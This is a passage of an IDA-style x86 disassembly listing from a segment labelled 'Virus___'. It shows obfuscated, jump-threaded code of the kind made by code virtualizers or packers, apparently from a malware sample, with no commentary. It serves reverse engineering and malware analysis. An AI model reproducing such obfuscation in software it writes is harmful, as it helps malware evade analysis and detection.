		dec	eax
		add	eax, 69F33230h
		xor	eax, 7A1547F0h
		sub	ebx, eax
		pop	eax
		and	ebx, 3B2F1BF6h
		jmp	loc_56484A
; ---------------------------------------------------------------------------


loc_55948F:				; CODE XREF: Virus___:0055EA74j
		not	dword ptr [esp]
		jmp	loc_563AE2
; ---------------------------------------------------------------------------


loc_559497:				; CODE XREF: Virus___:00558067j
		pop	ebp
		xor	edi, 4BAB0E4Ch
		add	ebx, edi
		pop	edi
		jmp	loc_55F703
; ---------------------------------------------------------------------------


loc_5594A6:				; CODE XREF: Virus___:0054F912j
		sub	eax, 28341546h
		xor	eax, 7A135C7Dh
		mov	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esi
		mov	ebx, edi
		jmp	loc_5629C8
; ---------------------------------------------------------------------------


loc_5594C5:				; CODE XREF: Virus___:0055E027j
		pop	eax
		sub	ecx, ebp
		jmp	loc_5627E2
; ---------------------------------------------------------------------------


loc_5594CD:				; CODE XREF: Virus___:00561E8Aj
		sub	bh, 5Ah
		add	al, bh
		pop	ebx
		jmp	loc_550658
; ---------------------------------------------------------------------------


loc_5594D8:				; CODE XREF: Virus___:0055D4EFj
		add	ecx, eax
		push	ebx
		mov	ebx, 43581D13h
		jmp	loc_5513E2
; ---------------------------------------------------------------------------


loc_5594E5:				; CODE XREF: Virus___:0055011Cj
		mov	ecx, 444C3CC3h
		jmp	loc_55C4B8
; ---------------------------------------------------------------------------


loc_5594EF:				; CODE XREF: Virus___:005632C9j
		mov	edx, [esp]
		jmp	loc_561A8E
; ---------------------------------------------------------------------------


loc_5594F7:				; CODE XREF: Virus___:00559E28j
		xor	ebx, eax
		jmp	loc_5577C6
; ---------------------------------------------------------------------------


loc_5594FE:				; CODE XREF: Virus___:00550F6Cj
		add	edx, 49D66F60h
		jmp	loc_557906
; ---------------------------------------------------------------------------


loc_559509:				; CODE XREF: Virus___:00555D0Ej
		push	eax
		jmp	loc_562D37
; ---------------------------------------------------------------------------


loc_55950F:				; CODE XREF: Virus___:0055F346j
		xor	dh, ah
		mov	eax, [esp]
		jmp	loc_55979E
; ---------------------------------------------------------------------------


loc_559519:				; CODE XREF: Virus___:00558B74j
		mov	[esp], ebp
		mov	ebp, 71277AEFh
		neg	ebp
		xor	ebp, 0DE38BC94h
		sub	esi, ebp
		jmp	loc_556492
; ---------------------------------------------------------------------------


loc_559530:				; CODE XREF: Virus___:0055620Bj
		mov	esi, 61E62B70h
		xor	esi, edi
		jmp	loc_556E50
; ---------------------------------------------------------------------------


loc_55953C:				; CODE XREF: Virus___:005508A3j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0F74D9FDBh
		jmp	loc_55AA79
; ---------------------------------------------------------------------------


loc_559550:				; CODE XREF: Virus___:005562B3j
		pop	ebx
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5515F2
; ---------------------------------------------------------------------------


loc_559565:				; CODE XREF: Virus___:00552009j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_553A8E
; ---------------------------------------------------------------------------


loc_559577:				; CODE XREF: Virus___:00552A73j
		add	esp, 2
		push	2735h
		mov	[esp], ebx
		jmp	loc_555C3D
; ---------------------------------------------------------------------------


loc_559587:				; CODE XREF: Virus___:00560E1Cj
		mov	esp, [esp]
		jmp	loc_552995
; ---------------------------------------------------------------------------


loc_55958F:				; CODE XREF: Virus___:005629F8j
		pop	ebp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_54FECA
; ---------------------------------------------------------------------------


loc_5595A7:				; CODE XREF: Virus___:0055F61Bj
		push	36D9h
		mov	[esp], ebx
		push	11D877A3h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55945E
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		push	ebx
		mov	ebx, 404C3AA9h
		or	ebx, 5BDF03B8h
		shr	ebx, 6
		not	ebx
		add	ebx, 5406AB36h
		jmp	loc_552C9B
; ---------------------------------------------------------------------------


loc_5595E3:				; CODE XREF: Virus___:0055789Fj
		push	ebp
		mov	ebp, 1E6E54A2h
		or	eax, ebp
		pop	ebp
		and	eax, 5E80378Eh
		add	eax, 698118CCh
		sub	eax, 24CA31A5h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55ACD5
; ---------------------------------------------------------------------------


loc_559608:				; CODE XREF: Virus___:00559A61j
		xor	edx, 1EF11ECh
		jmp	loc_55C4F2
; ---------------------------------------------------------------------------


loc_559613:				; CODE XREF: Virus___:00560D34j
		push	edi
		mov	edi, 4
		sub	edx, 7F4E4BFCh
		jmp	loc_55D26C
; ---------------------------------------------------------------------------


loc_559624:				; CODE XREF: Virus___:00564307j
		mov	eax, 3B9A5508h
		and	eax, 467C1817h
		or	eax, 16DF4C53h
		shl	eax, 7
		jmp	loc_55D62C
; ---------------------------------------------------------------------------


loc_55963B:				; CODE XREF: Virus___:0055C760j
		sub	dword ptr [esp], 7276D17h
		jmp	loc_5618F8
; ---------------------------------------------------------------------------


loc_559647:				; CODE XREF: Virus___:005526AEj
		or	ebp, 5DE11235h
		sub	ebp, 717555EBh
		xor	ebp, 4CD12BFCh
		neg	ebp
		neg	ebp
		sub	ebp, 0B478246h
		sub	edx, ebp
		pop	ebp
		pop	ebx
		push	ebp
		jmp	loc_563B9B
; ---------------------------------------------------------------------------


loc_55966D:				; CODE XREF: Virus___:0055D9C0j
		push	7D86h
		mov	[esp], ebx
		push	ebp
		jmp	loc_55239F
; ---------------------------------------------------------------------------


loc_55967B:				; CODE XREF: Virus___:0056231Bj
		mov	eax, ebx
		pop	ebx
		add	esi, 1D3B183Dh
		sub	esi, eax
		sub	esi, 1D3B183Dh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561770
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_563D1A
; ---------------------------------------------------------------------------


loc_5596AB:				; CODE XREF: Virus___:00560A5Dj
		or	esi, ebx
		pop	ebx
		add	esi, 3320520Ch
		push	eax
		mov	eax, 6B8D5C98h
		shl	eax, 5
		jmp	loc_54FA78
; ---------------------------------------------------------------------------


loc_5596C2:				; CODE XREF: Virus___:00555953j
		push	ebp
		mov	ebp, offset dword_57047C
		mov	esi, ebp
		jmp	loc_5551D4
; ---------------------------------------------------------------------------


loc_5596CF:				; CODE XREF: Virus___:005531F2j
		add	edx, 89E800AEh
		jmp	loc_55A703
; ---------------------------------------------------------------------------


loc_5596DA:				; CODE XREF: Virus___:00553B30j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5596DF:				; CODE XREF: Virus___:0055054Ej
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_5521DF
; ---------------------------------------------------------------------------


loc_5596ED:				; CODE XREF: Virus___:0055B915j
		add	ebx, 3E270D34h
		pop	ecx
		jmp	loc_5647F9
; ---------------------------------------------------------------------------


loc_5596F9:				; CODE XREF: Virus___:00553153j
		add	eax, 0DB118D5h
		jmp	loc_559E0C
; ---------------------------------------------------------------------------


loc_559703:				; CODE XREF: Virus___:00562A8Ej
		pop	ebp
		push	esi
		mov	esi, 77855746h
		neg	esi
		add	esi, 0CB039C2Ah
		or	ebp, esi
		pop	esi
		shr	ebp, 2
		jmp	loc_56108A
; ---------------------------------------------------------------------------


loc_55971D:				; CODE XREF: Virus___:005621F2j
		pop	esp
		jmp	loc_557F30
; ---------------------------------------------------------------------------


loc_559723:				; CODE XREF: Virus___:0055C1B8j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_55216D
; ---------------------------------------------------------------------------


loc_559739:				; CODE XREF: Virus___:0055DD8Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55ACA8
; ---------------------------------------------------------------------------


loc_559747:				; CODE XREF: Virus___:00553C15j
		pop	esp
		push	ebx
		jmp	loc_55D2EF
; ---------------------------------------------------------------------------


loc_55974E:				; CODE XREF: Virus___:0055BE39j
		push	ebx
		push	608824BFh
		jmp	loc_55C8CE
; ---------------------------------------------------------------------------


loc_559759:				; CODE XREF: Virus___:00558A2Aj
		push	ebx
		jmp	loc_55D2F7
; ---------------------------------------------------------------------------


loc_55975F:				; CODE XREF: Virus___:00559415j
		add	edi, eax
		sub	edi, 206315F6h
		jmp	loc_561385
; ---------------------------------------------------------------------------


loc_55976C:				; CODE XREF: Virus___:0055B401j
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 61336A0Fh
		jmp	loc_55A26A
; ---------------------------------------------------------------------------


loc_559789:				; CODE XREF: Virus___:0055CB7Fj
		mov	ebx, esp
		jmp	loc_557A65
; ---------------------------------------------------------------------------


loc_559790:				; CODE XREF: Virus___:0054FA33j
		mov	ecx, [esp]
		jmp	loc_5548D5
; ---------------------------------------------------------------------------


loc_559798:				; CODE XREF: Virus___:00560F5Aj
		push	edx
		jmp	loc_55264A
; ---------------------------------------------------------------------------


loc_55979E:				; CODE XREF: Virus___:00559514j
		add	esp, 4
		sub	al, dh
		jmp	loc_553DD6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	4015h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_555CAA
; ---------------------------------------------------------------------------


loc_5597C1:				; CODE XREF: Virus___:0055D7DFj
		shl	eax, 4
		neg	eax
		add	eax, 20693C13h
		shl	eax, 6
		xor	eax, 0E7F67AF1h
		jmp	loc_5568BE
; ---------------------------------------------------------------------------


loc_5597D8:				; CODE XREF: Virus___:00557679j
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_553006
; ---------------------------------------------------------------------------


loc_5597E6:				; CODE XREF: Virus___:005521FDj
		add	ebx, 0FF1F6BDFh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_55C4F9
; ---------------------------------------------------------------------------


loc_5597FA:				; CODE XREF: Virus___:00555C9Fj
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 7C67917Dh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	esi, 8
		shl	esi, 1
		jmp	loc_56366F
; ---------------------------------------------------------------------------


loc_55981B:				; CODE XREF: Virus___:0055857Aj
		mov	esi, 70F77631h
		shl	esi, 7
		shr	esi, 2
		and	esi, 2FDE1253h
		xor	esi, 26550FFBh
		xor	esi, 47CB44A0h
		sub	esi, 566E4346h
		jmp	loc_55C550
; ---------------------------------------------------------------------------


loc_559843:				; CODE XREF: Virus___:00555782j
		add	ebx, 74BA4F89h
		add	ebx, esi
		push	8D0h
		jmp	loc_555EB7
; ---------------------------------------------------------------------------


loc_559855:				; CODE XREF: Virus___:00553C43j
		pop	eax
		jmp	loc_55C870
; ---------------------------------------------------------------------------


loc_55985B:				; CODE XREF: Virus___:00556400j
		xor	esi, edi
		jmp	loc_5618CA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5617FF
; ---------------------------------------------------------------------------


loc_55986B:				; CODE XREF: Virus___:005600ECj
		push	3FF8h
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55315F
; ---------------------------------------------------------------------------


loc_559892:				; CODE XREF: Virus___:0055D8ACj
		sub	ecx, 83E8819Ah
		add	esi, ecx
		pop	ecx
		add	esi, eax
		sub	esi, 3B167646h
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	1A88h
		mov	[esp], ecx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5598BA:				; CODE XREF: Virus___:00557216j
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		push	4882h
		mov	[esp], edi
		jmp	loc_55E047
; ---------------------------------------------------------------------------


loc_5598D6:				; CODE XREF: Virus___:00553205j
		mov	edx, [esp]
		jmp	loc_55A4C1
; ---------------------------------------------------------------------------


loc_5598DE:				; CODE XREF: Virus___:00560720j
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6C915CC4h
		add	ebp, edi
		pop	edi
		jmp	loc_55C95E
; ---------------------------------------------------------------------------


loc_5598F4:				; CODE XREF: Virus___:005647DFj
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559900:				; CODE XREF: Virus___:0055D198j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		push	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55AF93
; ---------------------------------------------------------------------------


loc_559953:				; CODE XREF: Virus___:0055D13Aj
		push	edi
		mov	edi, 7DA84EC1h
		mov	ecx, edi
		pop	edi
		sub	ecx, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_557253
; ---------------------------------------------------------------------------


loc_559967:				; CODE XREF: Virus___:0055A67Ej
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_563C03
; ---------------------------------------------------------------------------


loc_559979:				; CODE XREF: Virus___:0055F42Bj
		xor	esi, eax
		pop	eax
		jmp	loc_55FE9C
; ---------------------------------------------------------------------------


loc_559981:				; CODE XREF: Virus___:00563128j
		mov	edx, eax
		pop	eax
		shr	edx, 8
		jmp	loc_55B8C9
; ---------------------------------------------------------------------------


loc_55998C:				; CODE XREF: Virus___:0056366Aj
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, 45A865C1h
		add	esi, ecx
		sub	esi, 45A865C1h
		pop	ecx
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55CFB2
; ---------------------------------------------------------------------------


loc_5599FB:				; CODE XREF: Virus___:00561693j
		pop	esi
		push	edi
		push	eax
		push	3FBF2517h
		mov	eax, [esp]
		jmp	loc_552700
; ---------------------------------------------------------------------------


loc_559A0B:				; CODE XREF: Virus___:0055CA0Ej
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5622B4
; ---------------------------------------------------------------------------


loc_559A17:				; CODE XREF: Virus___:00561AADj
		shl	ebx, 6
		add	ebx, 1
		jmp	loc_560214
; ---------------------------------------------------------------------------


loc_559A25:				; CODE XREF: Virus___:0055CFE3j
		mov	[esp], esi
		mov	esi, 3C7E5673h
		sub	eax, 593109A0h
		sub	eax, esi
		jmp	loc_556BBE
; ---------------------------------------------------------------------------


loc_559A39:				; CODE XREF: Virus___:0055EA34j
		sub	ebp, 319A708Ah
		add	ebp, edx
		push	edx
		push	eax
		mov	eax, 59681AA9h
		or	eax, 51A1731Ch
		or	eax, 5F865221h
		shr	eax, 4
		push	edx
		mov	edx, 25AE60FDh
		and	edx, 1A0A388Ah
		jmp	loc_559608
; ---------------------------------------------------------------------------


loc_559A66:				; CODE XREF: Virus___:0055D703j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558525
; ---------------------------------------------------------------------------


loc_559A6F:				; CODE XREF: Virus___:0055EB87j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_54FD96
; ---------------------------------------------------------------------------


loc_559A7D:				; CODE XREF: Virus___:00558F07j
		add	ebx, 57082205h
		push	esi
		jmp	loc_5542F4
; ---------------------------------------------------------------------------


loc_559A89:				; CODE XREF: Virus___:00561EA0j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 3FCh
		push	ecx
		push	382513A4h
		pop	ecx
		sub	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7C1C7C89h
		jmp	loc_55C090
; ---------------------------------------------------------------------------


loc_559AAF:				; CODE XREF: Virus___:0055AAAAj
		push	4699h
		jmp	loc_55507B
; ---------------------------------------------------------------------------


loc_559AB9:				; CODE XREF: Virus___:005630EBj
		or	ebx, 3555065Eh
		jmp	loc_55D168
; ---------------------------------------------------------------------------


loc_559AC4:				; CODE XREF: Virus___:0055FE97j
		add	ch, bl
		add	ch, 0Ah
		pop	bx
		sub	al, 69h
		add	al, ch
		jmp	loc_556552
; ---------------------------------------------------------------------------


loc_559AD4:				; CODE XREF: Virus___:005509DDj
		sub	edx, 7902078Fh
		sub	ebx, edx
		jmp	loc_55F252
; ---------------------------------------------------------------------------


loc_559AE1:				; CODE XREF: Virus___:00563976j
		xor	edx, 549CB635h
		jmp	loc_55DE0D
; ---------------------------------------------------------------------------


loc_559AEC:				; CODE XREF: Virus___:0055A893j
		add	edx, 0F30F1207h
		add	ebp, 62001932h
		add	ebp, edx
		sub	ebp, 62001932h
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5635B2
; ---------------------------------------------------------------------------


loc_559B10:				; CODE XREF: Virus___:00555A0Ej
		add	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55BFAC
; ---------------------------------------------------------------------------


loc_559B1F:				; CODE XREF: Virus___:0055A007j
		sub	esi, 44362A45h
		sub	esi, edx
		add	esi, 44362A45h
		push	ecx
		mov	ecx, 50126B92h
		neg	ecx
		sub	ecx, 36641B05h
		xor	ecx, 61267C22h
		jmp	loc_5649B0
; ---------------------------------------------------------------------------


loc_559B46:				; CODE XREF: Virus___:005580B6j
		sub	al, 0F2h
		add	al, ch
		add	al, 0F2h
		push	ebx
		mov	bh, 0C9h
		add	bh, 50h
		add	al, 48h
		add	al, bh
		sub	al, 48h
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		sub	al, bh
		jmp	loc_55DEB8
; ---------------------------------------------------------------------------


loc_559B69:				; CODE XREF: Virus___:0055FC8Bj
		add	esp, 4
		pop	ebp
		xor	ebp, 51D50EBEh
		pop	ebx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_558DB6
		push	dword ptr [edi+28h]
		push	edi
		push	edx
		mov	edx, 0DDE3116h
		xor	edx, 5DA97F27h
		or	edx, 4CCF1B44h
		jmp	loc_557C5E
; ---------------------------------------------------------------------------


loc_559B9D:				; CODE XREF: Virus___:0055C31Cj
		push	64D4h
		jmp	loc_55FFF2
; ---------------------------------------------------------------------------


loc_559BA7:				; CODE XREF: Virus___:0055C6FFj
		neg	edx
		or	edx, 788C362Bh
		neg	edx
		neg	edx
		sub	edx, 0C189C38Fh
		push	2EEFh
		mov	[esp], esi
		push	ebp
		push	edi
		push	2BFF4F94h
		pop	edi
		or	edi, 1FCD6995h
		or	edi, 70CD23F5h
		xor	edi, 33561506h
		mov	ebp, edi
		pop	edi
		add	ebp, 84F39913h
		push	ebp
		jmp	loc_55F088
; ---------------------------------------------------------------------------


loc_559BEA:				; CODE XREF: Virus___:00562293j
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 0CD42C00h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55D603
; ---------------------------------------------------------------------------


loc_559BFF:				; CODE XREF: Virus___:0056236Aj
		push	edx
		jmp	loc_558383
; ---------------------------------------------------------------------------


loc_559C05:				; CODE XREF: Virus___:005593FFj
		xor	ch, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_558C10
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 0B8F0896h
		push	eax
		mov	eax, 1
		sub	edx, 42A231C9h
		add	edx, eax
		add	edx, 42A231C9h
		pop	eax
		push	esi
		mov	esi, 6DFD0D18h
		neg	esi
		add	esi, 6DFD0D19h
		add	edx, esi
		jmp	loc_557193
; ---------------------------------------------------------------------------


loc_559C4F:				; CODE XREF: Virus___:0055238Fj
		shl	ecx, 4
		add	ecx, 1
		push	ebp
		jmp	loc_55926B
; ---------------------------------------------------------------------------


loc_559C5E:				; CODE XREF: Virus___:005536B3j
		add	bl, 50h
		jmp	loc_5532B5
; ---------------------------------------------------------------------------


loc_559C66:				; CODE XREF: Virus___:00551F06j
		mov	[esp], ecx
		jmp	loc_55F1F7
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559C75:				; CODE XREF: Virus___:0055F958j
		mov	edi, 74E3727Bh
		jmp	loc_559F7B
; ---------------------------------------------------------------------------


loc_559C7F:				; CODE XREF: Virus___:00563C45j
		sub	ebx, 4FD16971h
		sub	ebx, 4C687C7Ah
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559C98:				; CODE XREF: Virus___:005628BEj
		push	0C60h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55EB9D
; ---------------------------------------------------------------------------


loc_559CAB:				; CODE XREF: Virus___:0056471Aj
		dec	al
		push	cx
		mov	cl, 65h
		and	al, cl
		pop	cx
		neg	al
		xor	al, 0C0h
		mov	ch, al
		jmp	loc_563E33
; ---------------------------------------------------------------------------


loc_559CC0:				; CODE XREF: Virus___:00553970j
		add	eax, ebp
		jmp	loc_5614F8
; ---------------------------------------------------------------------------


loc_559CC7:				; CODE XREF: Virus___:00560E22j
		add	ebp, 37D14C5Ah
		add	ebp, ebx
		sub	ebp, 37D14C5Ah
		push	dword ptr [esp]
		jmp	loc_560182
; ---------------------------------------------------------------------------


loc_559CDD:				; CODE XREF: Virus___:005631E3j
		add	eax, esi
		jmp	loc_560DFC
; ---------------------------------------------------------------------------


loc_559CE4:				; CODE XREF: Virus___:00558183j
		xchg	edi, [esp]
		jmp	loc_55372B
; ---------------------------------------------------------------------------


loc_559CEC:				; CODE XREF: Virus___:00556276j
		sub	ebp, 0EF5A60EDh
		jmp	loc_55F406
; ---------------------------------------------------------------------------


loc_559CF7:				; CODE XREF: Virus___:00551FE3j
		not	ecx
		push	7D21h
		mov	[esp], ebp
		mov	ebp, 1347797Eh
		push	edx
		mov	edx, 7D3E3DF7h
		or	ebp, edx
		pop	edx
		shr	ebp, 2
		jmp	loc_5575F9
; ---------------------------------------------------------------------------


loc_559D17:				; CODE XREF: Virus___:00552645j
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		jmp	loc_55EF41
; ---------------------------------------------------------------------------


loc_559D25:				; CODE XREF: Virus___:005506B1j
		pop	edx
		jmp	loc_55ECD2
; ---------------------------------------------------------------------------


loc_559D2B:				; CODE XREF: Virus___:00563F68j
		mov	[esp], eax
		jmp	loc_552C7C
; ---------------------------------------------------------------------------


loc_559D33:				; CODE XREF: Virus___:005544B2j
		sub	word ptr [esp+6], 7227h
		sub	[esp+6], di
		add	word ptr [esp+6], 7227h
		pop	di
		mov	ax, [esp]
		add	esp, 2
		pop	si
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559D56:				; CODE XREF: Virus___:00556395j
		shr	dl, 4
		jmp	loc_551E75
; ---------------------------------------------------------------------------


loc_559D5E:				; CODE XREF: Virus___:0055F6B0j
		pop	ecx
		and	ebx, edx
		pop	edx
		shr	ebx, 2
		sub	ebx, 0FB9A959Ah
		jmp	loc_5615DD
; ---------------------------------------------------------------------------


loc_559D70:				; CODE XREF: Virus___:00560897j
		add	eax, edi
		pop	edi
		pop	ebp
		jmp	loc_5543E0
; ---------------------------------------------------------------------------


loc_559D79:				; CODE XREF: Virus___:00550171j
		inc	edi
		shr	edi, 2
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_556BAE
; ---------------------------------------------------------------------------


loc_559D87:				; CODE XREF: Virus___:005614EDj
		push	esi
		mov	esi, esp
		jmp	loc_55DBFF
; ---------------------------------------------------------------------------


loc_559D8F:				; CODE XREF: Virus___:0055B3DBj
		add	[esp+4], ebx
		add	dword ptr [esp+4], 3DA72D4Ch
		pop	ebx
		jmp	loc_5526B3
; ---------------------------------------------------------------------------


loc_559DA1:				; CODE XREF: Virus___:00554D93j
		add	ecx, edi
		sub	ecx, 8ED478Dh
		jmp	loc_561799
; ---------------------------------------------------------------------------


loc_559DAE:				; CODE XREF: Virus___:005555D0j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_563E7B
; ---------------------------------------------------------------------------


loc_559DC9:				; CODE XREF: Virus___:00558881j
		mov	ebx, [esp]
		push	1B98h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55DD77
; ---------------------------------------------------------------------------


loc_559DE1:				; CODE XREF: Virus___:0055CB5Aj
		push	69F6h
		mov	[esp], eax
		mov	al, 90h
		jmp	loc_55EE31
; ---------------------------------------------------------------------------


loc_559DF0:				; CODE XREF: Virus___:0055B381j
		sub	dl, 40h
		jmp	loc_55370F
; ---------------------------------------------------------------------------


loc_559DF8:				; CODE XREF: Virus___:0055C22Bj
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54FA90
; ---------------------------------------------------------------------------


loc_559E04:				; CODE XREF: Virus___:0055023Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_55EA39
; ---------------------------------------------------------------------------


loc_559E0C:				; CODE XREF: Virus___:005596FEj
		push	ecx
		mov	ecx, 3B5B2A57h
		shr	ecx, 1
		add	ecx, 44A4708Eh
		xor	ecx, 0AB80A06h
		xor	eax, ecx
		pop	ecx
		xor	eax, 75938D3Ch
		jmp	loc_5594F7
; ---------------------------------------------------------------------------


loc_559E2D:				; CODE XREF: Virus___:0055B46Bj
		mov	ebx, esp
		jmp	loc_555639
; ---------------------------------------------------------------------------


loc_559E34:				; CODE XREF: Virus___:0055DE5Dj
		mov	ebp, [esp]
		jmp	loc_55B7A9
; ---------------------------------------------------------------------------


loc_559E3C:				; CODE XREF: Virus___:00560104j
		add	al, dl
		add	al, 14h
		pop	edx
		jmp	loc_564271
; ---------------------------------------------------------------------------


loc_559E46:				; CODE XREF: Virus___:0055B287j
		pop	ebx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_559E4C:				; CODE XREF: Virus___:0055B4EEj
		push	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55A6C4
; ---------------------------------------------------------------------------


loc_559E64:				; CODE XREF: Virus___:0055FD54j
		sub	esi, ecx
		push	ebp
		mov	ebp, 0C0F1C7Dh
		neg	ebp
		not	ebp
		xor	ebp, 5F373169h
		add	esi, ebp
		jmp	loc_55D06B
; ---------------------------------------------------------------------------


loc_559E7D:				; CODE XREF: Virus___:00558FA9j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		pop	bx
		push	small 1AA8h
		mov	[esp], cx
		jmp	loc_55EEC6
; ---------------------------------------------------------------------------


loc_559E95:				; CODE XREF: Virus___:005515EDj
		push	esi
		mov	esi, 604400h
		xor	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5632BE
; ---------------------------------------------------------------------------


loc_559EAE:				; CODE XREF: Virus___:005646F4j
		mov	edx, 23130349h
		and	edx, 943A48h
		add	edx, 0FFEFFDBCh
		add	esi, edx
		pop	edx
		jmp	loc_560B20
; ---------------------------------------------------------------------------


loc_559EC7:				; CODE XREF: Virus___:00563D27j
		mov	edx, eax
		pop	eax
		or	ecx, edx
		pop	edx
		neg	ecx
		neg	ecx
		push	edx
		mov	edx, 61987266h
		xor	edx, 6EB256A9h
		xor	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		pop	eax
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55A448
; ---------------------------------------------------------------------------


loc_559EF9:				; CODE XREF: Virus___:00550DF4j
		mov	[esp], edi
		jmp	loc_561FBF
; ---------------------------------------------------------------------------


loc_559F01:				; CODE XREF: Virus___:0055AA9Cj
		add	eax, ebp
		add	eax, 11411216h
		push	dword ptr [esp]
		jmp	loc_550735
; ---------------------------------------------------------------------------


loc_559F10:				; CODE XREF: Virus___:0055FDBFj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	ecx
		push	edx
		mov	edx, 53D76B19h
		push	6B70h
		mov	[esp], ecx
		mov	ecx, 55EA5ABEh
		shr	ecx, 3
		dec	ecx
